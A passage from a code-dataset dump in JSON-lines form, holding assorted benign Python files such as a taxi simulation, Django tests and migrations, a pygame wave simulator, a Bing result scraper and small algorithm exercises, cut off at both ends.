    end_road_list = []\n        for item in data:\n            if item[0] not in FINISHED_LIST:\n                end_road_list.append((item[0],item[10]))\n                \n        # print(len(end_road_list))\n        if len(end_road_list)>1:\n            break\n    rand_act = np.random.randint(0,len(end_road_list))\n    return end_road_list[rand_act]\n# 训练次数\ntrain_n = 100\nfor i_episode in range(train_n):\n    FINISHED_LIST = []\n    road_id, time = get_init_state()\n    print(\"司机初始化成功,开始模拟...\")\n    money = 0\n    while True:\n        # 选动作\n        q_a = choose_action(road_id, time)\n        # print(q_a)\n        # print(\"动作选择成功！\")\n        if q_a is None:\n            # 没有找到动作请求, 进入下回合\n            break\n        FINISHED_LIST.append(q_a[0])\n        # 得到环境反馈\n        s_, r, exp_time = get_step_state(q_a[0])\n        exp_time = exp_time.split(':')\n        time = [int(x) for x in exp_time]\n        money += r\n    # print(FINISHED_LIST)\n    print(\"第\",i_episode,\"次：\",money)\n    mon_plt.append(money)\nprint(\"模拟完成！\")\nprint(np.mean(mon_plt))\nx = range(0,train_n,1)\nplt.figure(figsize=(8,6), dpi=80)\nplt.title(\"Random\")\nplt.xlabel(\"train(reward)\") \nplt.ylabel(\"n\") \nplt.plot(x, mon_plt, label=\"precision\")\nplt.legend(loc='upper right')\n# plt.ylim(0,100)\nplt.show()\nprint(\"过程全部结束\")\ncon.close()     #关闭数据库连接\n","sub_path":"pra_pytorch/taxi/rand_taxi.py","file_name":"rand_taxi.py","file_ext":"py","file_size_in_byte":3873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"516152516","text":"from django.test import TestCase, SimpleTestCase\nfrom Montaje.models import Montaje\nfrom Montaje.forms  import MontajeForm\n# Create your tests here.\nclass TestModelMontaje(TestCase):\n\n    def test_montaje_create(self):\n        Montaje(\n            Titulo='montaje de titulo',\n            Descripcion='descripcion de test'\n        ).save()\n        montajes = Montaje.objects.all()\n        montaje = Montaje.objects.get(id=1)\n        self.assertEquals(montajes.count(),1)\n        self.assertEquals(montaje.Titulo,'montaje de titulo')\n\nclass TestFormMontaje(SimpleTestCase):\n\n    def test_montaje_form(self):\n        form = MontajeForm(data={})\n        self.assertFalse(form.is_valid())\n        self.assertEquals(len(form.errors),2)\n\n    def test_montaje_form_data(self):\n        form = MontajeForm(data={\n            'Titulo':'prueba formulario',\n            'Descripcion':'Prueba de montaje'\n        })\n        self.assertTrue(form.is_valid())","sub_path":"Montaje/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"138718106","text":"file1 = open(\"text11.txt\",\"r\")\nread1 = file1.read()\nfile1.close()\n\nfile2 = open(\"text12.txt\",\"r\")\nread2 = file2.read()\nfile2.close()\n\nset1 = set(read1.lower().replace(',','').split(\" \"))\nset2 = set(read2.lower().replace(',','').split(\" \"))\n\nprint(type(set1))\nprint(type(set2))\n\nprint(\"File set 1:   \",  set1)\nprint(\"File set 2:   \",  set2)\n\nprint(\"Result :   \", set1^set2)\n\n\n\n\n\n\n\n\n\n","sub_path":"HW6/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"311527023","text":"for tc in range(1, int(input())+1):\n    n = int(input())\n    print('Case #{}: '.format(str(tc)), end='')\n    if n==0:\n        print('INSOMNIA')\n        continue\n    a = set(range(10))\n    for i in range(1, 10000000):\n        a -= set([int(x) for x in str(i*n)])\n        if not len(a):\n            print(i*n)\n            break\n","sub_path":"codes/CodeJamCrawler/16_0_1_neat/16_0_1_pepsin92_a.py","file_name":"16_0_1_pepsin92_a.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"160058565","text":"'''\nalien.py\n\n    Randomly draw a jpg using the fast method on a GC9A01 display\n    connected to an ESP32.\n\n    The alien.jpg is from the Erik Flowers Weather Icons available from\n    https://github.com/erikflowers/weather-icons and is licensed under\n    SIL OFL 1.1\n\n    It was was converted from the wi-alien.svg icon using\n    ImageMagick's convert utility:\n\n    convert wi-alien.svg -type TrueColor alien.jpg\n'''\n\nimport gc\nimport random\nfrom machine import Pin, SPI\nimport gc9a01\n\ngc.enable()\ngc.collect()\n\n\ndef main():\n    '''\n    Decode and draw jpg on display\n    '''\n    tft = gc9a01.GC9A01(\n        SPI(2, baudrate=60000000, sck=Pin(18), mosi=Pin(23)),\n        240,\n        240,\n        reset=Pin(33, Pin.OUT),\n        cs=Pin(14, Pin.OUT),\n        dc=Pin(27, Pin.OUT),\n        backlight=Pin(32, Pin.OUT),\n        rotation=0)\n        \n    # enable display and clear screen\n    tft.init()\n\n    # display jpg in random locations\n    while True:\n        tft.rotation(random.randint(0, 4))\n        tft.jpg(\n            \"alien.jpg\",\n            random.randint(0, tft.width() - 30),\n            random.randint(0, tft.height() - 30),\n            gc9a01.FAST)\n\n\nmain()\n","sub_path":"examples/ESP32THING/jpg/alien.py","file_name":"alien.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"383606830","text":"from mip import *\r\n\r\n# zero conceitual\r\nEPS = 1e-6\r\n\r\n# Implementação simples de geração de colunas (para fins didáticos)\r\nL = 250  # tamanho de cada barra\r\nm = 4  # numero de pedidos\r\nw = [187, 119, 74, 90]  # tamanho de cada pedido i\r\nb = [1, 2, 2, 1]  # demanda de cada pedido i\r\n\r\n# estruturas de dados para manter variáveis e restrições\r\nlambdas = []\r\nconstraints = []\r\n\r\n# criando modelo do mestre\r\nmaster = Model()\r\n\r\n# criando variáveis e restrições do mestre\r\nfor i in range(m):\r\n    lambdas.append(master.add_var())\r\n    constraints.append(master.add_constr(lambdas[i] >= b[i]))\r\n\r\n# criando função objetivo do mestre\r\nmaster += xsum(lambdas[i] for i in range(m))\r\n\r\n# criando modelo do pricing\r\npricing = Model()\r\n\r\n# criando variáveis e restrições do pricing\r\na = [pricing.add_var(var_type=INTEGER) for i in range(m)]\r\n\r\npricing += xsum(w[i] * a[i] for i in range(m)) <= L\r\n\r\nnew_vars = True\r\nwhile new_vars:\r\n\r\n    ##########\r\n    # PASSO 1: resolver o mestre\r\n    ##########\r\n\r\n    master.optimize()\r\n    master.write(\"master.lp\")\r\n\r\n    ##########\r\n    # PASSO 2: atualizar o pricing com os valores duais do mestre e resolvê-lo\r\n    ##########\r\n\r\n    # dica: o dual da restrição i pode ser facilmente obtido pelo atributo *pi*\r\n\r\n    # exemplo: constraints[i].pi\r\n\r\n    pricing += 1 - xsum(constraints[i].pi * a[i] for i in range(m))\r\n    pricing.optimize()\r\n    pricing.write(\"pricing.lp\")\r\n\r\n    ##########\r\n    # PASSO 3: inserir as novas colunas no mestre (se custo reduzido for negativo)\r\n    ##########\r\n\r\n    # dica: use a classe Column para gerar uma coluna; esta classe especifica os\r\n    #       coeficientes de uma nova variável em um conjunto de restrições\r\n\r\n    # exemplo: column = Column([constraints[0], constraints[1]], [1, 1])\r\n    #          lambdas.append(master.add_var(obj=1, column=column))\r\n\r\n    # importante: se não for encontrada nenhuma variável com custo reduzido negativo,\r\n    #             lembre-se de fazer new_vars = False\r\n\r\n    if pricing.objective_value < - EPS:\r\n        col = Column(constraints, [var.x for var in pricing.vars])  # [var.x for var in a]\r\n        lambdas.append(master.add_var(obj=1, column=col))\r\n\r\n    else:\r\n        new_vars = False\r\n","sub_path":"praticas/atividade_05/cg.py","file_name":"cg.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"389748208","text":"\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n    initial = True\n\n    dependencies = [\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Category',\n            fields=[\n                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n                ('cate', models.CharField(choices=[('Flowers', 'Flowers'), ('Articles', 'Articles'), ('Animals', 'Animals'), ('People', 'People')], max_length=255)),\n            ],\n            options={\n                'verbose_name_plural': 'categories',\n            },\n        ),\n        migrations.CreateModel(\n            name='Location',\n            fields=[\n                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n                ('locs', models.CharField(choices=[('Nairobi', 'Nairobi'), ('Turkey', 'Turkey'), ('Nakuru', 'Nakuru'), ('Paris', 'Paris'), ('China', 'China'), ('Mombasa', 'Mombasa')], max_length=255)),\n            ],\n            options={\n                'verbose_name_plural': 'Location',\n            },\n        ),\n        migrations.CreateModel(\n            name='Images',\n            fields=[\n                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n                ('name', models.CharField(max_length=60)),\n                ('image', models.ImageField(upload_to='images/')),\n                ('description', models.TextField()),\n                ('image_category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='photos.Category')),\n                ('image_location', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='photos.Location')),\n            ],\n        ),\n    ]\n","sub_path":"photos/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"302783226","text":"from flask_restplus import Namespace, Api, Resource, reqparse, fields\n\napi = Namespace('reviews', path='/businesses', description='Reviews endpoints')\n\n\n\nreviews_model = api.model('review',{'title': fields.String(),\n                'body': fields.String(),\n                'author': fields.String(),\n                'creation_date' : fields.String() })\n\nreview_model = api.model('review',{'title': fields.String(),\n                                    'body': fields.String()})\n\nreview_parser = reqparse.RequestParser()\nreview_parser.add_argument('title', type=str, required=True, help='user name should be a string', location='json')\nreview_parser.add_argument('body', type=str, required=True, help='user name should be a string', location='json')","sub_path":"apis/v2/utils/review_models.py","file_name":"review_models.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"361409577","text":"class QueueNode:\n    def __init__(self,data):\n        self.data = data\n        self.next = None\n    \nclass Queue:\n    def __init__(self):\n        self.front = None\n        self.back = None\n    def isEmpty(self):\n        if(self.back == None or self.front == None):\n            return True\n        return False\n    def enqueue(self,data):\n        new_node = QueueNode(data)\n        if(self.isEmpty() == True):\n            self.front = new_node\n            self.back = new_node\n            return\n        self.back.next = new_node\n        self.back = new_node\n    def dequeue(self):\n        if(self.isEmpty()):\n            return None\n        if(self.back == self.front):\n            temp = self.front\n            temp_data = temp.data\n            self.front = self.back = None\n            return temp_data\n        else:\n            temp = self.front\n            temp_data = temp.data\n            self.front = self.front.next\n            return temp_data\n\nif __name__ == \"__main__\":\n    q = Queue()\n    q.enqueue(10)\n    q.enqueue(11)\n    q.enqueue(13)\n    while(q.isEmpty() != True):\n        print(q.dequeue())\n    \n                \n                \n                \n        \n        ","sub_path":"Data Structure/queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"271871735","text":"import sys\nsys.path.append(sys.path[0][:-len(\"/Wave\")])\n\nimport pyximport\npyximport.install()\n\nfrom hexvex import Vex, dirs\nfrom scalarfield import *\nfrom graphics_backend import *\nfrom wavedata import *\nfrom wavetools import toolbar\nimport tools\n\nimport pygame\nfrom pygame import Vector2, key\n\n\npygame.init()\n\ndone = False\npaused = False\nclock = pygame.time.Clock()\n\nnet_simulated_time = 0\n\nsim_step_counter = 0\ntime_for_ten_sim_steps = 0\nsim_framerate = 0\nten_sims_time_cost = 0\navg_sim_time_cost = 0\n\ndraw_counter = 0\ntime_for_ten_draws = 0\ndraw_framerate = 0\nten_draws_time_cost = 0\navg_draw_time_cost = 0\n\nstutter_counter = 0\nstutter_frequency = 0,\n\nspectrum = Spectrum(-50, 50, pygame.Color(0, 0, 255), pygame.Color(255, 0, 0))\nblur = False\n\ngen_origin(grid_a, grid_b)\n\ndef redraw():\n    screen.fill((0, 0, 0), game_rect)\n    draw_scalar_field_back_hexes(screen, displacement, spectrum)\n    if blur:\n        screen.blit(pygame.transform.smoothscale(pygame.transform.smoothscale(screen, (int(screen_width/10),int(screen_height/10))), (int(screen_width), int(screen_height))), (0,0))\n\nwhile not done:\n\n    pos = Vector2(pygame.mouse.get_pos())\n    hex_pos = screen_to_hex_space(pos)\n    tile = hex_pos.round()\n\n    toolbar.tools[toolbar.current].before_math(tile)\n\n    for event in pygame.event.get():\n        if event.type == pygame.MOUSEBUTTONDOWN:\n            if event.button == 4:\n                if tools.controlling() or tools.shifting():\n                    toolbar.tools[toolbar.current].mouse_scroll(+1)\n                else:\n                    toolbar.increment_selection()\n            elif event.button == 5:\n                if tools.controlling() or tools.shifting():\n                    toolbar.tools[toolbar.current].mouse_scroll(-1)\n                else:\n                    toolbar.decrement_selection()\n            else:\n                toolbar.tools[toolbar.current].mouse_down(tile)\n        if event.type == pygame.MOUSEBUTTONUP:\n            toolbar.tools[toolbar.current].mouse_up(tile)\n        if event.type == pygame.KEYDOWN:\n            if event.key == pygame.K_SPACE:\n                paused = not paused\n            if event.key == pygame.K_c:\n                displacement.clear()\n                velocity.clear()\n            if event.key == pygame.K_r:\n                displacement.clear()\n                velocity.clear()\n                wave_speed.reset()\n                csquared.reset()\n                damping.reset()\n                damp_multiplier.reset()\n                displacement.mask.clear()\n            if event.key == pygame.K_b:\n                blur = not blur\n            if event.key == pygame.K_EQUALS:\n                toolbar.tools[toolbar.current].mouse_scroll(+1)\n            if event.key == pygame.K_MINUS:\n                toolbar.tools[toolbar.current].mouse_scroll(-1)\n        if event.type == pygame.QUIT:\n            done = True\n\n    if paused:\n        net_simulated_time = pygame.time.get_ticks()\n    else:\n        if net_simulated_time > pygame.time.get_ticks():\n            pygame.time.wait(math.ceil(pygame.time.get_ticks() - net_simulated_time))\n            stutter_counter += 1\n        while net_simulated_time < pygame.time.get_ticks():\n            if pygame.time.get_ticks() - net_simulated_time > 1000:\n                net_simulated_time = pygame.time.get_ticks() + 100\n            t = pygame.time.get_ticks()\n            simulate_step()\n            ten_sims_time_cost += pygame.time.get_ticks() - t\n            net_simulated_time += timestep * 1000.0 # timestep is in s, ticks is in ms\n            sim_step_counter += 1\n            if sim_step_counter == 10:\n                sim_step_counter = 0\n                sim_framerate = 10000 / (pygame.time.get_ticks() - time_for_ten_sim_steps)\n                avg_sim_time_cost = ten_sims_time_cost / 10\n                ten_sims_time_cost = 0\n                time_for_ten_sim_steps = pygame.time.get_ticks()\n    \n    \n    toolbar.tools[toolbar.current].after_math(tile)\n    \n    t = pygame.time.get_ticks()\n\n    redraw()\n    if displacement.valid_hex_v(tile):\n        print_topleft(\"ψ: \" + str(displacement.hexes[tile.a][tile.b]), 10, 10)\n        print_topleft(\"ψ': \" + str(velocity.hexes[tile.a][tile.b]), 10, 30)\n        print_topleft(\"ψ'': \" + str(laplace.hexes[tile.a][tile.b] * csquared.hexes[tile.a][tile.b]), 10, 50)\n\n    print_bottomleft(\"simulation framerate: \" + str(sim_framerate), 10, -10)\n    print_bottomleft(\"draw framerate: \" + str(draw_framerate), 10, -30)\n    print_bottomleft(\"stutter frequency: \" + str(stutter_frequency), 10, -50)\n    print_bottomright(\"average simulation step (ms): \" + str(avg_sim_time_cost), -10, -10)\n    print_bottomright(\"average draw step (ms): \" + str(avg_draw_time_cost), -10, -30)\n    \n    toolbar.tools[toolbar.current].after_draw(tile)\n    \n    ten_draws_time_cost += pygame.time.get_ticks() - t\n\n    draw_counter += 1\n    if draw_counter == 10:\n        draw_framerate = 10000 / (pygame.time.get_ticks() - time_for_ten_draws)\n        avg_draw_time_cost = ten_draws_time_cost / 10\n        stutter_frequency = 1000 * stutter_counter / (pygame.time.get_ticks() - time_for_ten_draws)\n        draw_counter = 0\n        stutter_counter = 0\n        ten_draws_time_cost = 0\n        time_for_ten_draws = pygame.time.get_ticks()\n    \n    pygame.display.flip()\n","sub_path":"Wave/hexwave.py","file_name":"hexwave.py","file_ext":"py","file_size_in_byte":5312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"563518049","text":"__all__ = [\"sxharmovis\"]\n\nfrom synerex_harmovis.sxharmovis import (\n    SxHarmoVIS,\n    LineStore,\n    BGStore,\n    ArcStore,\n    MeshStore,\n    PolygonStore,\n    ScatterStore,\n    sendBearing,\n    sendPitch,\n    sendViewState,\n    sendBarGraphs,\n    drawArcs,\n    drawScatters,\n    drawLines,\n    drawLinesAx,\n    drawArcsAx,\n    drawScattersAx,\n    sendBearingAx,\n    sendPitchAx,\n    sendViewStateAx,\n    sendBarGraphsAx,\n    sendTopTextLabelAx,\n    sendTopTextLabel,\n    clearArcsAx,\n    clearArcs,\n    clearScattersAx,\n    clearScatters,\n    sendHarmoVISAx,\n    sendHarmoVIS,\n    sendMeshAx,\n    sendMesh,\n    sendPolygonAx,\n    sendPolygon    \n)\n\nimport synerex_harmovis.proto.geography as geo\n\n\n\n","sub_path":"synerex_harmovis/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"272255401","text":"from django.shortcuts import render, render\nfrom django.views.generic import TemplateView\nfrom django.conf import settings\nfrom django.http import HttpResponseRedirect\nfrom managers.models import Manager\nfrom events.models import Event\nfrom rooms.models import Room\nfrom buildings.models import Building\n\nimport os\n\nfrom MetronicElements import DashboardStat, CalendarPortlet\n\n\nclass IndexView(TemplateView):\n\n    def __init__(self):\n        self.template_name = os.path.join(settings.TEMPLATE_PATH, 'index.html')\n        self.context = {\n            'title': 'Dashboard',\n            'subtitle': 'current scheduled events',\n            'addfonts': [\n\n            ],\n            'addstyles': [\n                os.path.join(\n                    settings.ASSETS_GLOBAL,\n                    'plugins', 'fullcalendar', 'fullcalendar.min.css'\n                )\n            ],\n            'addscripts': [\n                os.path.join(\n                    settings.ASSETS_GLOBAL,\n                    'plugins', 'moment.min.js'\n                ),\n                os.path.join(\n                    settings.ASSETS_GLOBAL,\n                    'plugins', 'fullcalendar', 'fullcalendar.min.js'\n                ),\n                os.path.join(\n                    settings.ASSETS_ADMIN,\n                    'pages', 'scripts', 'calendar.js'\n                ),\n                os.path.join(\n                    settings.ASSETS_ADMIN,\n                    'pages', 'scripts', 'tasks.js'\n                ),\n            ],\n            'manager_count': DashboardStat(\n                'Managers',\n                Manager.objects.count(),\n                icon='user',\n                link='/managers/',\n                linktext='View Managers'\n            ),\n            'event_count': DashboardStat(\n                'Events',\n                Event.objects.count(),\n                icon='calendar',\n                link='/events/',\n                linktext='View Events'\n            ),\n            'room_count': DashboardStat(\n                'Rooms',\n                Room.objects.count(),\n                icon='map-marker',\n                link='/rooms/',\n                linktext='View Rooms'\n            ),\n            'building_count': DashboardStat(\n                'Buildings',\n                Building.objects.count(),\n                icon='building-o',\n                link='/buildings/',\n                linktext='View Buildings'\n            ),\n            'calendar': CalendarPortlet('Calendar'),\n        }\n\n    def get_context_data(self):\n        self.context['events'] = Event.objects.all()\n        return self.context\n\n    def get(self, request):\n        return render(request, self.template_name, self.get_context_data())\n","sub_path":"ASUEvents/home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"636043940","text":"from PyIRC.common.numerics import *\nfrom PyIRC.common.dispatch import PRIORITY_DEFAULT, PRIORITY_FIRST\n\ndef dispatch_introspect(client, line):\n    \"\"\" Generic introspection routine to learn about ourself \"\"\"\n    if line.hostmask is None:\n        return\n\n    if not line.hostmask.nick:\n        return\n\n    if line.hostmask.nick != client.current_nick:\n        return\n\n    if line.hostmask.user:\n        client.current_user = line.hostmask.user\n\n    if line.hostmask.host:\n        client.current_host = line.hostmask.host\n\n\ndef dispatch_sethost(client, line):\n    \"\"\" We've been cloaked \"\"\"\n    client.current_host = line.params[1]\n\n\nhooks_in = (\n    (None, PRIORITY_FIRST, dispatch_introspect),\n    (RPL_HOSTHIDDEN, PRIORITY_DEFAULT, dispatch_sethost),\n)\n\n","sub_path":"PyIRC/client/dispatch/introspect.py","file_name":"introspect.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"303518147","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 24 18:39:17 2020\n\n@author: shaun\n\"\"\"\n\nimport numpy as np\nfrom gaussxw import gaussxw\nimport matplotlib.pyplot as plt\nN=100\n#grab key points and weights from legendre polymials\nx,w=gaussxw(N)\n#define the integrand with input x,y,z\ndef integrand(x,y,z):\n    f=1/(((x**2)+(y**2)+(z**2))**(3.0/2))\n    return f\n#define the function z \ndef function(z):\n    density=(10.0*1000)/(100)\n    G=6.674*(10**(-11))\n    F=G*density*z*Gmulti(-5,5,-5,5,integrand,z)\n    return F\n#take the triple integral\ndef Gmulti(a,b,c,d,f,z):\n    global N\n    global x\n    global w\n    #rescale x and weights to the domain\n    xp=0.5*(b-a)*x + 0.5*(b+a)\n    wpx=0.5*(b-a)*w\n    yp=0.5*(d-c)*x + 0.5*(d+c)\n    wpy=0.5*(d-c)*w\n    s=0\n    \n    for ym in range(0,N):\n        #find the value of the function at every y and multiply it by the weights to get the sum\n        for xm in range(0,N):\n            #find the value of the function at every x and multiply it by the weights to get the sum\n            s+=wpy[ym]*wpx[xm]*f(xp[xm],yp[ym],z)\n    return s\n\n\n   \n\n#plot results\nZ=np.linspace(0,10,100)\nF=function(Z)\nfigure=plt.figure()\nax=figure.add_subplot()\nax.plot(Z,F)\nax.set_xlabel(\"Z\")\nax.set_ylabel(r\"$Force_{z}$\")\nfigure.suptitle(\"Force in Z direction\")\n\nplt.show()\n      ","sub_path":"homework4/5.14fedrick_hw4.py","file_name":"5.14fedrick_hw4.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"467371275","text":"import unittest\nfrom python_sort import bubble_sort\n\nclass TestBubbleSort(unittest.TestCase):\n\tdef test_returns_sorted_list_in_ascending_order(self):\n\t\t#ARRANGE\n\t\tlist_one = [2, 5, 10, 1, 6]\n\t\t#ACT\n\t\tresult = bubble_sort(list_one)\n\n\t\t#ASSERT\n\t\tself.assertEqual(result, [1, 2, 5, 6, 10])\n\t\t\n\tdef test_returns_sorted_list_in_descending_order(self):\n\t\t#ARRANGE\n\t\tlist_one = [2, 5, 10, 1, 6]\n\t\tascending = False\n\t\t#ACT\n\t\tresult = bubble_sort(list_one, ascending)\n\n\t\t#ASSERT\n\t\tself.assertEqual(result, [10, 6, 5, 2, 1])\n\n\n\n\nif __name__ == '__main__':\n\tunittest.main()","sub_path":"week2/lab3/python_sort/test_bubble_sort.py","file_name":"test_bubble_sort.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"328442048","text":"class Request:\n    __slots__ = ('path', 'headers')\n\n    def __init__(self, env):\n        self.path = env['PATH_INFO']\n        self.headers = headers = {}\n\n        # Extract HTTP headers\n        for key in env:\n            if key.startswith('HTTP_'):\n                headers[key[5:]] =  env[key]\n\n    def get_header(self, name, default=None):\n        \"\"\"Return a header value as a string\n\n        name -- Header name, case-insensitive\n        default -- Value to return in case the header is not found\n\n        \"\"\"\n\n        headers = self.headers\n\n        # Optimize for the header existing in most cases\n        try:\n            return headers[name.upper()]\n        except KeyError as e:\n            return default\n\n","sub_path":"falcon/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"103994845","text":"#coding=utf-8\r\n\r\nfrom bs4 import BeautifulSoup\r\nfrom Base.BaseSearch import BaseSearch\r\n\r\nclass BingSearch(BaseSearch):\r\n    \r\n    def __init__(self,keyword,path,seName):\r\n        urls = self.getUrl(keyword)\r\n        self.page = BaseSearch.page\r\n        BaseSearch.__init__(self,urls,path,seName)\r\n        \r\n    def getUrl(self,keyword):\r\n        urls = []\r\n        for num in range(self.page):\r\n            if num == 0:\r\n                urls.append('http://cn.bing.com/search?q='+keyword+'&qs=n&pq='+keyword+'&sc=8-3&sp=-1&sk=&first=1&FORM=PORE')\r\n            else:\r\n                first = num*10\r\n                urls.append('http://cn.bing.com/search?q='+keyword+'&qs=n&pq='+keyword+'&sc=8-3&sp=-1&sk=&first='+str(first)+'&FORM=PORE')\r\n        return urls\r\n\r\n    def parseHtml(self,html):\r\n        soup = BeautifulSoup(html)\r\n        results = soup.findAll(\"div\",\"sb_tlst\")\r\n        fileName = self.getFileName()\r\n        for item in results:\r\n            self.parseDiv(item,fileName)\r\n            \r\n        self.writeFile(\"1\\n\", fileName)\r\n            \r\n    def parseDiv(self,div,fileName):\r\n        soup = BeautifulSoup(str(div))\r\n        urls = soup.findAll(\"a\") \r\n        \r\n        for url in urls:\r\n            realUrl = url.get(\"href\")\r\n            self.writeFile(realUrl+'\\n', fileName)\r\n            \r\n        \r\n            \r\n    \r\n        \r\n","sub_path":"US/Bing.py","file_name":"Bing.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"357521881","text":"def gen_primes():\n    D = {}\n    q = 2\n\n    while True:\n        if q not in D:\n            yield q\n            D[q * q] = [q]\n        else:\n            for p in D[q]:\n                D.setdefault(p + q, []).append(p)\n            del D[q]\n        q += 1\n\n\ndef ord(p, n):\n    if n % p != 0:\n        return 0;\n    m = p * p;\n    prev = p;\n    k = 1;\n    while (n % m == 0):\n        prev = m;\n        m *= m;\n        k = 2*k;\n    return k + ord(p, n / prev);\n\ndef Harvest(p,k):\n    c = 0;\n    i = 0;\n    while(c < k):\n        i = i + p;\n        c = c + ord(p,i);\n    if(c > k):\n        i -= p\n    return i;\n\ndef Natural_Harvest(n):\n    max = -1;\n    for i in gen_primes():\n        if(i > n):\n            break;\n        k = ord(i,n);\n        h = Harvest(i,k);\n        if h >= max:\n            max = h;\n        break;\n\n    return max;\n\n\nlim = pow(10,8);\n\nsum = 0;\nfor i in range(2,lim+1):\n    sum = sum + 1; #Natural_Harvest(i);\n    if(i % 400903 == 0):\n        print(i);\nprint(\"~~\" + str(sum) + \"~~~\");\n","sub_path":"project_euler/solutions_in_Python/Problem549.py","file_name":"Problem549.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"102138207","text":"__author__ = 'Matt'\nfrom django import template\n\nregister = template.Library()\n\n\n@register.inclusion_tag('admin/statscollect_scrap/processedgame/submit_line.html', takes_context=True)\ndef process_submit_row(context):\n    show_process = context['status'] in ('CREATED', 'PENDING', 'COMPLETE', 'AMENDED')\n    show_store = context['status'] in ('PENDING', 'COMPLETE', 'AMENDED')\n    ctx = {\n        'show_process': show_process,\n        'show_store': show_store\n    }\n    if context.get('original') is not None:\n        ctx['original'] = context['original']\n    return ctx","sub_path":"statscollect_scrap/templatetags/statscollect_scrap_extra.py","file_name":"statscollect_scrap_extra.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"74962959","text":"import numpy as np\nfrom sklearn import linear_model\nfrom newMem import newMem\nimport config as cfg\nfrom calc_error import get_error\n\nclass MemTreeRoot:\n    def __init__(self, bot):\n        self.bot = bot\n        self.clf = linear_model.SGDClassifier() #class_weight={1: 3,2:5}\n        self.experts = [MemTreeExpert(self,i) for i in xrange(cfg.NEXPERTS)]\n        self.branches = [MemTreeBranch(self,i) for i in xrange(cfg.NBRANCHES)]\n        \n        self.sensors = np.zeros([cfg.NTICKS,cfg.NSENSORS])\n        self.motors = np.zeros([cfg.NTICKS,cfg.NMOTORS])\n        self.predictions = np.zeros([cfg.NTICKS+1,cfg.NSENSORS])\n        self.errors = np.zeros(cfg.NTICKS-1)\n        self.branchChoices = np.zeros(cfg.NTICKS,dtype=np.int)\n        self.newMem = newMem()\n\n        self.uniqSeqs = set()\n        self.uniqContexts = set()\n\n    def getCommand(self, sensorVal):\n        t = cfg.tick\n        s = self.sensors\n        m = self.motors\n        s[t] = sensorVal\n        error = get_error(sensorVal,self.predictions[t])\n        self.errors[t-1] = error\n        if t < cfg.MINIBATCH:\n            motorVal = np.random.randint(cfg.NACTIONS)\n            context = np.concatenate((sensorVal,[motorVal]))\n            m[t] = motorVal\n            self.newMem.addSeq(np.concatenate((s[t-1],m[t-1],sensorVal)))\n            self.predictions[t+1] = sensorVal  # naive prediction: no change\n        else:\n            if t % cfg.MINIBATCH == 0:\n                self.trainExperts()\n                if t == cfg.MINIBATCH:\n                    self.bootstrapBranch()\n                self.trainRoot()\n            bid = self.branchChoices[t-1]\n            self.branches[bid].pushError(error, m[t-1])\n            if (not cfg.GREEDY) or (np.random.uniform(0,1) < cfg.ExPSILON):\n                motorVal = self.randomCommand()\n            else:\n                motorVal = self.greedyCommand()\n            self.newMem.addSeq(np.concatenate((s[t-1],m[t-1],sensorVal)))\n            iRow = t-cfg.ROOTMEM\n            currentContext = self.longContext(t-cfg.ROOTMEM+1,cfg.ROOTMEM)\n            iBranch = self.clf.predict(currentContext)\n            self.branchChoices[t] = iBranch\n            self.predictions[t+1] = self.branches[iBranch].predict()\n        return 